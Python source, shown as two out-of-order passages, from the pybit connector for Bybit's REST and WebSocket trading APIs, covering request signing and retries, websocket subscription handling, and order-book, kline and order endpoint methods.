'Content-Type': 'application/x-www-form-urlencoded' } r = self.client.prepare_request( requests.Request(method, path + f"?{full_param_str}", headers=headers) ) else: r = self.client.prepare_request( requests.Request(method, path, data=json.dumps(req_params)) ) # Attempt the request. try: s = self.client.send(r, timeout=self.timeout) # If requests fires an error, retry. except ( requests.exceptions.ReadTimeout, requests.exceptions.SSLError, requests.exceptions.ConnectionError ) as e: if self.force_retry: self.logger.error(f'{e}. {retries_remaining}') time.sleep(self.retry_delay) continue else: raise e # Convert response to dictionary, or raise if requests error. try: s_json = s.json() # If we have trouble converting, handle the error and retry. except JSONDecodeError as e: if self.force_retry: self.logger.error(f'{e}. {retries_remaining}') time.sleep(self.retry_delay) continue else: raise FailedRequestError( request=f'{method} {path}: {req_params}', message='Conflict. Could not decode JSON.', status_code=409, time=dt.utcnow().strftime("%H:%M:%S") ) # If Bybit returns an error, raise. if s_json['ret_code']: # Generate error message. error_msg = ( f'{s_json['ret_msg']} (ErrCode: {s_json['ret_code']})' ) # Set default retry delay. err_delay = self.retry_delay # Retry non-fatal whitelisted error requests. if s_json['ret_code'] in self.retry_codes: # 10002, recv_window error; add 2.5 seconds and retry. if s_json['ret_code'] == 10002: error_msg += '. Added 2.5 seconds to recv_window' recv_window += 2500 # 10006, ratelimit error; wait until rate_limit_reset_ms # and retry. elif s_json['ret_code'] == 10006: self.logger.error( f'{error_msg}. Ratelimited on current request. ' f'Sleeping, then trying again. Request: {path}' ) # Calculate how long we need to wait. limit_reset = s_json['rate_limit_reset_ms'] / 1000 reset_str = time.strftime( '%X', time.localtime(limit_reset) ) err_delay = int(limit_reset) - int(time.time()) error_msg = ( f'Ratelimit will reset at {reset_str}. ' f'Sleeping for {err_delay} seconds' ) # Log the error. self.logger.error(f'{error_msg}. {retries_remaining}') time.sleep(err_delay) continue elif s_json['ret_code'] in self.ignore_codes: pass else: raise InvalidRequestError( request=f'{method} {path}: {req_params}', message=s_json["ret_msg"], status_code=s_json["ret_code"], time=dt.utcnow().strftime("%H:%M:%S") ) else: return s_json class WebSocket: """ Connector for Bybit's WebSocket API. """ def __init__(self, endpoint, api_key=None, api_secret=None, subscriptions=None, logging_level=logging.INFO, max_data_length=200, ping_interval=30, ping_timeout=10, restart_on_error=True, purge_on_fetch=True, trim_data=True): """ Initializes the websocket session. :param endpoint: Required parameter. The endpoint of the remote websocket. :param api_key: Your API key. Required for authenticated endpoints. Defaults to None. :param api_secret: Your API secret key. Required for authenticated endpoints. Defaults to None. :param subscriptions: A list of desired topics to subscribe to. See API documentation for more information. Defaults to an empty list, which will raise an error. :param logging_level: The logging level of the built-in logger. Defaults to logging.INFO. Options are CRITICAL (50), ERROR (40), WARNING (30), INFO (20), DEBUG (10), or NOTSET (0). :param max_data_length: The maximum number of rows for the stored dataset. A smaller number will prevent performance or memory issues. :param ping_interval: The number of seconds between each automated ping. :param ping_timeout: The number of seconds to wait for 'pong' before an Exception is raised. :param restart_on_error: Whether or not the connection should restart on error. :param purge_on_fetch: Whether or not stored data should be purged each fetch. For example, if the user subscribes to the 'trade' topic, and fetches, should the data show all trade history up to the maximum length or only get the data since the last fetch? :param trim_data: Decide whether the returning data should be trimmed to only provide the data value. :returns: WebSocket session. """ self.spot = True if "spot" in endpoint else False self.spot_unauth = True if [True for v in ['v1', 'v2'] if v in endpoint] else False self.spot_auth = True if "spot" in endpoint and not \ self.spot_unauth else False if not self.spot_auth: if not subscriptions: raise Exception('Subscription list cannot be empty!') if not self.spot: # Require symbol on 'trade' topic. if 'trade' in subscriptions: raise Exception('\'trade\' requires a ticker, e.g. ' '\'trade.BTCUSD\'.') # Require currency on 'insurance' topic. if 'insurance' in subscriptions: raise Exception('\'insurance\' requires a currency, e.g. ' '\'insurance.BTC\'.') # Require timeframe and ticker on 'klineV2' topic. if 'klineV2' in subscriptions: raise Exception('\'klineV2\' requires a timeframe and ticker, e.g.' ' \'klineV2.5.BTCUSD\'.') # Check if subscriptions are in the correct format if self.spot and not self.spot_auth: for subscription in subscriptions.copy(): if isinstance(subscription, str): try: subscriptions.pop(subscriptions.index(subscription)) subscriptions.append(json.loads(subscription)) except JSONDecodeError: raise Exception('Spot subscriptions should be dicts, ' 'or strings that are valid JSONs.') elif not self.spot: for subscription in subscriptions: if not isinstance(subscription, str): raise Exception('Futures subscriptions should be strings.') for subscription in subscriptions: if ('v2' in endpoint and 'symbol' in subscription) or \ ('v1' in endpoint and 'symbol' in subscription['params']): raise Exception('Cannot subscribe to v1 topics with v2 ' 'endpoint, or vice versa.') # set websocket name for logging purposes self.wsName = 'Authenticated' if api_key else 'Non-Authenticated' # Setup logger. self.logger = logging.getLogger(__name__) if len(logging.root.handlers) == 0: # no handler on root logger set -> we add handler just for this logger to not mess with custom logic from outside handler = logging.StreamHandler() handler.setFormatter(logging.Formatter(fmt='%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S' ) ) handler.setLevel(logging_level) self.logger.addHandler(handler) self.logger.debug(f'Initializing {self.wsName} WebSocket.') # Ensure authentication for private topics. if not self.spot and any(i in subscriptions for i in [ 'position', 'execution', 'order', 'stop_order', 'wallet' ]) and api_key is None: raise PermissionError('You must be authorized to use ' 'private topics!') # Set endpoint. self.endpoint = endpoint # Set API keys. self.api_key = api_key self.api_secret = api_secret # Set topic subscriptions for WebSocket. self.subscriptions = subscriptions # Checking if using auth spot connection. if '/spot/ws' in self.endpoint: self.subscriptions = ['outboundAccountInfo', 'executionReport', 'ticketInfo'] self.max_length = max_data_length # Set ping settings. self.ping_interval = ping_interval self.ping_timeout = ping_timeout # Other optional data handling settings. self.handle_error = restart_on_error self.purge = purge_on_fetch self.trim = trim_data # Set initial state, initialize dictionary and connect. self._reset() self._connect(self.endpoint) def fetch(self, topic): """ Fetches data from the subscribed topic. :param topic: Required parameter. The subscribed topic to poll. :returns: Filtered data as dict. """ if self.spot and self.spot_unauth: topic = self.conform_topic(topic) # If the topic given isn't in the initial subscribed list. if topic not in self.subscriptions: self.logger.error(f'You aren\'t subscribed to the {topic} topic.') return # Pop all trade or execution data on each poll. # don't pop order or stop_order data as we will lose valuable state if any(i in topic for i in ['trade', 'execution']) \ and not topic.startswith('orderBook') and \ "executionReport" not in topic: data = self.data[topic].copy() if self.purge: self.data[topic] = [] return data else: try: return self.data[topic] except KeyError: return [] def ping(self): """ Pings the remote server to test the connection. The status of the connection can be monitored using ws.ping(). """ self.ws.send(json.dumps({'op': 'ping'})) def exit(self): """ Closes the websocket connection. """ self.ws.close() while self.ws.sock: continue self.exited = True def _auth(self): """ Authorize websocket connection. """ # Generate expires. expires = int((time.time() + 1) * 1000) # Generate signature. _val = f'GET/realtime{expires}' signature = str(hmac.new( bytes(self.api_secret, 'utf-8'), bytes(_val, 'utf-8'), digestmod='sha256' ).hexdigest()) # Authenticate with API. self.ws.send( json.dumps({ 'op': 'auth', 'args': [self.api_key, expires, signature] }) ) def _connect(self, url): """ Open websocket in a thread. """ self.ws = websocket.WebSocketApp( url=url, on_message=lambda ws, msg: self._on_message(msg), on_close=self._on_close(), on_open=self._on_open(), on_error=lambda ws, err: self._on_error(err) ) # Setup the thread running WebSocketApp. self.wst = threading.Thread(target=lambda: self.ws.run_forever( ping_interval=self.ping_interval, ping_timeout=self.ping_timeout )) # Configure as daemon; start. self.wst.daemon = True self.wst.start() # Attempt to connect for X seconds. retries = 10 while retries > 0 and (not self.ws.sock or not self.ws.sock.connected): retries -= 1 time.sleep(1) # If connection was not successful, raise error. if retries <= 0: self.exit() raise websocket.WebSocketTimeoutException('Connection failed.') # If given an api_key, authenticate. if self.api_key and self.api_secret and not self.spot_unauth: self._auth() # Check if subscriptions is a list. if isinstance(self.subscriptions, (str, dict)): self.subscriptions = [self.subscriptions] # Subscribe to the requested topics. if not self.spot_auth and self.spot_unauth: for subscription in self.subscriptions: if not subscription.get('event'): subscription['event'] = 'sub' if not subscription.get('params'): subscription['params'] = {} if 'v2' in self.endpoint: raise Exception('v2 spot websocket topics require the ' '"symbol" key within "params"') if not subscription.get('binary') or \ subscription['params'].get('binary'): subscription['params']['binary'] = False self.ws.send(json.dumps(subscription)) elif not self.spot: self.ws.send( json.dumps({ 'op': 'subscribe', 'args': self.subscriptions }) ) # Initialize the topics. if not self.spot_auth and self.spot: # Strip the subscription dict for subscription in self.subscriptions: index = self.subscriptions.index(subscription) subscription = subscription if isinstance(subscription, dict) \ else json.loads(subscription) subscription.pop('event') subscription['params']['binary'] = str(subscription['params'][ 'binary']).lower() if subscription['params'].get('dumpScale'): subscription['params']['dumpScale'] = str(subscription[ 'params']['dumpScale']) self.subscriptions[index] = \ self.conform_topic(subscription) topics = self.subscriptions for topic in topics: if topic not in self.data: self.data[topic] = {} @staticmethod def _find_index(source, target, key): """ Find the index in source list of the targeted ID. """ return next(i for i, j in enumerate(source) if j[key] == target[key]) def _on_message(self, message): """ Parse incoming messages. Similar structure to the official WS connector. """ # Load dict of message. msg_json = json.loads(message) # Did we receive a message regarding auth or subscription? auth_message = True if isinstance(msg_json, dict) and \ (msg_json.get('auth') or msg_json.get('request', {}).get('op') == 'auth') else False subscription_message = True if isinstance(msg_json, dict) and \ ((msg_json.get('event') == 'sub' or msg_json.get('code')) or msg_json.get('request', {}).get('op') == 'subscribe') else False # Check auth if auth_message: # If we get successful futures/spot auth, notify user. if msg_json.get('success') is True or \ msg_json.get('auth') == 'success': self.logger.debug('Authorization successful.') self.auth = True # If we get unsuccessful auth, notify user. elif msg_json.get('auth') == 'fail' or \ msg_json.get('success') is False: self.logger.debug('Authorization failed. Please check your ' 'API keys and restart.') # Check subscription if subscription_message: # If we get successful futures/spot subscription, notify user. if msg_json.get('success') is True or \ msg_json.get('msg') == 'Success': sub = msg_json['topic'] if self.spot else msg_json[ 'request']['args'] self.logger.debug(f'Subscription to {sub} successful.') # Futures subscription fail elif msg_json.get('success') is False: response = msg_json['ret_msg'] if 'unknown topic' in response: self.logger.error('Couldn\'t subscribe to topic.' f' Error: {response}.') # Spot subscription fail elif msg_json.get('code'): self.logger.error('Couldn\'t subscribe to topic.' f' Error code: {msg_json['code']}.' f' Error message: {msg_json.get('desc')}.') elif 'topic' in msg_json: if self.spot: # Conform received topic data so that we can match with our # subscribed topic topic = self.conform_topic(msg_json.copy()) else: topic = msg_json['topic'] # If incoming 'orderbookL2' data. if 'orderBook' in topic: # Make updates according to delta response. if 'delta' in msg_json['type']: # Delete. for entry in msg_json['data']['delete']: index = self._find_index(self.data[topic], entry, 'id') self.data[topic].pop(index) # Update. for entry in msg_json['data']['update']: index = self._find_index(self.data[topic], entry, 'id') self.data[topic][index] = entry # Insert. for entry in msg_json['data']['insert']: self.data[topic].append(entry) # Record the initial snapshot. elif 'snapshot' in msg_json['type']: if 'order_book' in msg_json['data']: self.data[topic] = msg_json['data']['order_book'] if self.trim else msg_json else: self.data[topic] = msg_json['data'] if self.trim else msg_json #self.data[topic] = msg_json['data'] # If incoming 'diffDepth' data. elif 'diffDepth' in topic: book_sides = {'b': msg_json['data'][0]['b'], 'a': msg_json['data'][0]['a']} if not self.data[topic]: self.data[topic] = book_sides return for side, entries in book_sides.items(): for entry in entries: # Delete. if float(entry[1]) == 0: index = self._find_index( self.data[topic][side], entry, 0) self.data[topic][side].pop(index) continue # Insert. price_level_exists = entry[0] in \ [level[0] for level in self.data[topic][side]] if not price_level_exists: self.data[topic][side].append(entry) continue # Update. qty_changed = entry[1] != next( level[1] for level in self.data[topic][side] if level[0] == entry[0]) if price_level_exists and qty_changed: index = self._find_index( self.data[topic][side], entry, 0) self.data[topic][side][index] = entry continue # For incoming 'order' and 'stop_order' data. elif any(i in topic for i in ['order', 'stop_order']): # record incoming data for i in msg_json['data']: try: # update existing entries # temporary workaround for field anomaly in stop_order data ord_id = topic + '_id' if i['symbol'].endswith('USDT') else 'order_id' index = self._find_index(self.data[topic], i, ord_id) self.data[topic][index] = i except StopIteration: # Keep appending or create new list if not already created. try: self.data[topic].append(i) except AttributeError: self.data[topic] = msg_json['data'] # For incoming 'trade' and 'execution' data. elif any(i in topic for i in ['trade', 'execution']): # Keep appending or create new list if not already created. try: trades = [msg_json['data']] if isinstance( msg_json['data'], dict) else msg_json['data'] for i in trades: self.data[topic].append(i) except AttributeError: self.data[topic] = msg_json['data'] # If list is too long, pop the first entry. if len(self.data[topic]) > self.max_length: self.data[topic].pop(0) # If incoming data is in a topic which only pushes messages in # the snapshot format elif any(i in topic for i in ['insurance', 'kline', 'wallet', 'candle', 'realtimes', '"depth"', '"mergedDepth"', 'bookTicker']): # Record incoming data. if 'v2' in self.endpoint: self.data[topic] = msg_json['data'] if self.trim else msg_json else: self.data[topic] = msg_json['data'][0] if self.trim else msg_json # If incoming 'instrument_info' data. elif 'instrument_info' in topic: # Make updates according to delta response. if 'delta' in msg_json['type']: for i in msg_json['data']['update'][0]: self.data[topic][i] = msg_json['data']['update'][0][i] # Record the initial snapshot. elif 'snapshot' in msg_json['type']: self.data[topic] = msg_json['data'] if self.trim else msg_json # If incoming 'position' data. elif 'position' in topic: # Record incoming position data. for p in msg_json['data']: # linear (USDT) positions have Buy|Sell side and # updates contain all USDT positions. # For linear tickers... if p['symbol'].endswith('USDT'): try: self.data[topic][p['symbol']][p['side']] = p # if side key hasn't been created yet... except KeyError: self.data[topic][p['symbol']] = {p['side']: p} # For non-linear tickers... else: self.data[topic][p['symbol']] = p elif isinstance(msg_json, list): for item in msg_json: topic = item.get('e') if topic == "outboundAccountInfo": self.data[topic] = item elif any(i in topic for i in ['executionReport', 'ticketInfo']): # Keep appending or create new list if not already created. try: self.data[topic].append(item) except AttributeError: self.data[topic] = item self.data[topic] = item def _on_error(self, error): """ Exit on errors and raise exception, or attempt reconnect. """ if not self.exited: self.logger.error(f'WebSocket {self.wsName} encountered error: {error}.') self.exit() # Reconnect. if self.handle_error: self._reset() self._connect(self.endpoint) def _on_open(self): """ Log WS open. """ self.logger.debug(f'WebSocket {self.wsName} opened.') def _on_close(self): """ Log WS close. """ self.logger.debug(f'WebSocket {self.wsName} closed.') def _reset(self): """ Set state booleans and initialize dictionary. """ self.exited = False self.auth = False self.data = {} @staticmethod def conform_topic(topic): """ For spot API. Due to the fact that the JSON received in update messages does not include a simple "topic" key, and parameters all have their own separate keys, we need to compare the entire JSON. Therefore, we need to strip the JSON of any unnecessary keys, cast some values, and dump the JSON with sort_keys. """ if isinstance(topic, str): topic = json.loads(topic) topic.pop('symbolName', '') topic['params'].pop('realtimeInterval', '') topic['params'].pop('symbolName', '') if topic['params'].get('klineType'): topic['topic'] += "_" + topic['params'].get('klineType') topic['params'].pop('klineType') topic.pop('data', '') topic.pop('f', '') topic.pop('sendTime', '') topic.pop('shared', '') return json.dumps(topic, sort_keys=True, separators=(',', ':'))
# -*- coding: utf-8 -*- """ pybit ------------------------ pybit is a lightweight and high-performance API connector for the RESTful and WebSocket APIs of the Bybit exchange. Documentation can be found at https://github.com/verata-veritatis/pybit :copyright: (c) 2020-2021 verata-veritatis :license: MIT License """ import time import hmac import json import logging import threading import requests import websocket from datetime import datetime as dt from concurrent.futures import ThreadPoolExecutor from .exceptions import FailedRequestError, InvalidRequestError # Requests will use simplejson if available. try: from simplejson.errors import JSONDecodeError except ImportError: from json.decoder import JSONDecodeError # Versioning. VERSION = '1.3.3' class HTTP: """ Connector for Bybit's HTTP API. :param endpoint: The endpoint URL of the HTTP API, e.g. 'https://api-testnet.bybit.com'. :type endpoint: str :param api_key: Your API key. Required for authenticated endpoints. Defaults to None. :type api_key: str :param api_secret: Your API secret key. Required for authenticated endpoints. Defaults to None. :type api_secret: str :param logging_level: The logging level of the built-in logger. Defaults to logging.INFO. Options are CRITICAL (50), ERROR (40), WARNING (30), INFO (20), DEBUG (10), or NOTSET (0). :type logging_level: Union[int, logging.level] :param log_requests: Whether or not pybit should log each HTTP request. :type log_requests: bool :param request_timeout: The timeout of each API request in seconds. Defaults to 10 seconds. :type request_timeout: int :param recv_window: How long an HTTP request is valid in ms. Default is 5000. :type recv_window: int :param force_retry: Whether or not pybit should retry a timed-out request. :type force_retry: bool :param retry_codes: A list of non-fatal status codes to retry on. :type retry_codes: set :param ignore_codes: A list of non-fatal status codes to ignore. :type ignore_codes: set :param max_retries: The number of times to re-attempt a request. :type max_retries: int :param retry_delay: Seconds between retries for returned error or timed-out requests. Default is 3 seconds. :type retry_delay: int :param referral_id: An optional referer ID can be added to each request for identification. :type referral_id: str :returns: pybit.HTTP session. """ def __init__(self, endpoint=None, api_key=None, api_secret=None, logging_level=logging.INFO, log_requests=False, request_timeout=10, recv_window=5000, force_retry=False, retry_codes=None, ignore_codes=None, max_retries=3, retry_delay=3, referral_id=None, spot=False): """Initializes the HTTP class.""" # Set the endpoint. if endpoint is None: self.endpoint = 'https://api.bybit.com' else: self.endpoint = endpoint # Setup logger. self.logger = logging.getLogger(__name__) if len(logging.root.handlers) == 0: #no handler on root logger set -> we add handler just for this logger to not mess with custom logic from outside handler = logging.StreamHandler() handler.setFormatter(logging.Formatter(fmt='%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S' ) ) handler.setLevel(logging_level) self.logger.addHandler(handler) self.logger.debug('Initializing HTTP session.') self.log_requests = log_requests # Set API keys. self.api_key = api_key self.api_secret = api_secret # Set timeout. self.timeout = request_timeout self.recv_window = recv_window self.force_retry = force_retry self.max_retries = max_retries self.retry_delay = retry_delay # Set whitelist of non-fatal Bybit status codes to retry on. if retry_codes is None: self.retry_codes = {10002, 10006, 30034, 30035, 130035, 130150} else: self.retry_codes = retry_codes # Set whitelist of non-fatal Bybit status codes to ignore. if ignore_codes is None: self.ignore_codes = set() else: self.ignore_codes = ignore_codes # Initialize requests session. self.client = requests.Session() self.client.headers.update( { 'User-Agent': 'pybit-' + VERSION, 'Content-Type': 'application/json', 'Accept': 'application/json', } ) # Add referral ID to header. if referral_id: self.client.headers.update({'Referer': referral_id}) # If True, calls spot endpoints rather than futures endpoints. self.spot = spot def _exit(self): """Closes the request session.""" self.client.close() self.logger.debug('HTTP session closed.') def orderbook(self, **kwargs): """ Get the orderbook. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-orderbook. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/quote/v1/depth' else: suffix = '/v2/public/orderBook/L2' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def merged_orderbook(self, **kwargs): """ Get the merged orderbook. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-mergedorderbook. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/spot/quote/v1/depth/merged', query=kwargs ) def query_kline(self, **kwargs): """ Get kline. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-querykline. :returns: Request results as dictionary. """ # Replace query param 'from_time' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_time' in kwargs: kwargs['from'] = kwargs.pop('from_time') if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/quote/v1/kline' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/kline' else: suffix = '/v2/public/kline/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def latest_information_for_symbol(self, **kwargs): """ Get the latest information for symbol. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-latestsymbolinfo. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/quote/v1/ticker/24hr' else: suffix = '/v2/public/tickers' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def last_traded_price(self, **kwargs): """ Get the last traded price. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-lasttradedprice. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/spot/quote/v1/ticker/price', query=kwargs ) def best_bid_ask_price(self, **kwargs): """ Get the best bid/ask price. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-bestbidask. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/spot/quote/v1/ticker/book_ticker', query=kwargs ) def public_trading_records(self, **kwargs): """ Get recent trades. You can find a complete history of trades on Bybit at https://public.bybit.com/. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-publictradingrecords. :returns: Request results as dictionary. """ # Replace query param 'from_id' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_id' in kwargs: kwargs['from'] = kwargs.pop('from_id') if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/quote/v1/trades' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/recent-trading-records' else: suffix = '/v2/public/trading-records' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def query_symbol(self, **kwargs): """ Get symbol info. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/symbols' else: suffix = '/v2/public/symbols' return self._submit_request( method='GET', path=self.endpoint + suffix ) def liquidated_orders(self, **kwargs): """ Retrieve the liquidated orders. The query range is the last seven days of data. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-query_liqrecords. :returns: Request results as dictionary. """ # Replace query param 'from_id' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_id' in kwargs: kwargs['from'] = kwargs.pop('from_id') return self._submit_request( method='GET', path=self.endpoint + '/v2/public/liq-records', query=kwargs ) def query_mark_price_kline(self, **kwargs): """ Query mark price kline (like query_kline but for mark price). :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-markpricekline. :returns: Request results as dictionary. """ # Replace query param 'from_time' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_time' in kwargs: kwargs['from'] = kwargs.pop('from_time') if kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/mark-price-kline' else: suffix = '/v2/public/mark-price-kline' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def query_index_price_kline(self, **kwargs): """ Query index price kline (like query_kline but for index price). :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-queryindexpricekline. :returns: Request results as dictionary. """ # Replace query param 'from_time' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_time' in kwargs: kwargs['from'] = kwargs.pop('from_time') if kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/index-price-kline' else: suffix = '/v2/public/index-price-kline' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def query_premium_index_kline(self, **kwargs): """ Query premium index kline (like query_kline but for the premium index discount). :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-querypremiumindexkline. :returns: Request results as dictionary. """ # Replace query param 'from_time' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_time' in kwargs: kwargs['from'] = kwargs.pop('from_time') if kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/premium-index-kline' else: suffix = '/v2/public/premium-index-kline' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def open_interest(self, **kwargs): """ Gets the total amount of unsettled contracts. In other words, the total number of contracts held in open positions. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-marketopeninterest. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/public/open-interest', query=kwargs ) def latest_big_deal(self, **kwargs): """ Obtain filled orders worth more than 500,000 USD within the last 24h. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-marketbigdeal. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/public/big-deal', query=kwargs ) def long_short_ratio(self, **kwargs): """ Gets the Bybit long-short ratio. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-marketaccountratio. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/public/account-ratio', query=kwargs ) def place_active_order(self, **kwargs): """ Places an active order. For more information, see https://bybit-exchange.github.io/docs/inverse/#t-activeorders. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-activeorders. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/order' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/order/create' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/order/create' else: suffix = '/v2/private/order/create' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def place_active_order_bulk(self, orders: list, max_in_parallel=10): """ Places multiple active orders in bulk using multithreading. For more information on place_active_order, see https://bybit-exchange.github.io/docs/inverse/#t-activeorders. :param list orders: A list of orders and their parameters. :param max_in_parallel: The number of requests to be sent in parallel. Note that you are limited to 50 requests per second. :returns: Future request result dictionaries as a list. """ with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.place_active_order, **order ) for order in orders ] executor.shutdown() return [execution.result() for execution in executions] def get_active_order(self, **kwargs): """ Gets an active order. For more information, see https://bybit-exchange.github.io/docs/inverse/#t-getactive. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-getactive. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/history-orders' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/order/list' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/order/list' else: suffix = '/v2/private/order/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def cancel_active_order(self, **kwargs): """ Cancels an active order. For more information, see https://bybit-exchange.github.io/docs/inverse/#t-cancelactive. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-cancelactive. :returns: Request results as dictionary. """ method = 'POST' if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/order' method = 'DELETE' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/order/cancel' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/order/cancel' else: suffix = '/v2/private/order/cancel' return self._submit_request( method=method, path=self.endpoint + suffix, query=kwargs, auth=True ) def fast_cancel_active_order(self, **kwargs): """ Fast cancels an active order. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-fastcancelactiveorder. :returns: Request results as dictionary. """ return self._submit_request( method='DELETE', path=self.endpoint + '/spot/v1/order/fast', query=kwargs, auth=True ) def cancel_active_order_bulk(self, orders: list, max_in_parallel=10): """ Cancels multiple active orders in bulk using multithreading. For more information on cancel_active_order, see https://bybit-exchange.github.io/docs/inverse/#t-activeorders. :param list orders: A list of orders and their parameters. :param max_in_parallel: The number of requests to be sent in parallel. Note that you are limited to 50 requests per second. :returns: Future request result dictionaries as a list. """ with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.cancel_active_order, **order ) for order in orders ] executor.shutdown() return [execution.result() for execution in executions] def cancel_all_active_orders(self, **kwargs): """ Cancel all active orders that are unfilled or partially filled. Fully filled orders cannot be cancelled. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-cancelallactive. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/order/cancel-all' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/order/cancelAll' else: suffix = '/v2/private/order/cancelAll' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def batch_cancel_active_order(self, **kwargs): """ Batch cancels active orders. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-batchcancelactiveorder. :returns: Request results as dictionary. """ return self._submit_request( method='DELETE', path=self.endpoint + '/spot/order/batch-cancel', query=kwargs, auth=True ) def batch_fast_cancel_active_order(self, **kwargs): """ Batch fast cancels active orders. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-batchfastcancelactiveorder. :returns: Request results as dictionary. """ return self._submit_request( method='DELETE', path=self.endpoint + '/spot/order/batch-fast-cancel', query=kwargs, auth=True ) def batch_cancel_active_order_by_ids(self, **kwargs): """ Batch cancels active order by ids. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-batchcancelactiveorderbyids. :returns: Request results as dictionary. """ return self._submit_request( method='DELETE', path=self.endpoint + '/spot/order/batch-cancel-by-ids', query=kwargs, auth=True ) def replace_active_order(self, **kwargs): """ Replace order can modify/amend your active orders. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-replaceactive. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/order/replace' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/order/replace' else: suffix = '/v2/private/order/replace' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def replace_active_order_bulk(self, orders: list, max_in_parallel=10): """ Replaces multiple active orders in bulk using multithreading. For more information on replace_active_order, see https://bybit-exchange.github.io/docs/inverse/#t-replaceactive. :param list orders: A list of orders and their parameters. :param max_in_parallel: The number of requests to be sent in parallel. Note that you are limited to 50 requests per second. :returns: Future request result dictionaries as a list. """ with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.replace_active_order, **order ) for order in orders ] executor.shutdown() return [execution.result() for execution in executions] def query_active_order(self, **kwargs): """ Query real-time active order information. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-queryactive. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/open-orders' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/order/search' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/order' else: suffix = '/v2/private/order' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def place_conditional_order(self, **kwargs): """ Places a conditional order. For more information, 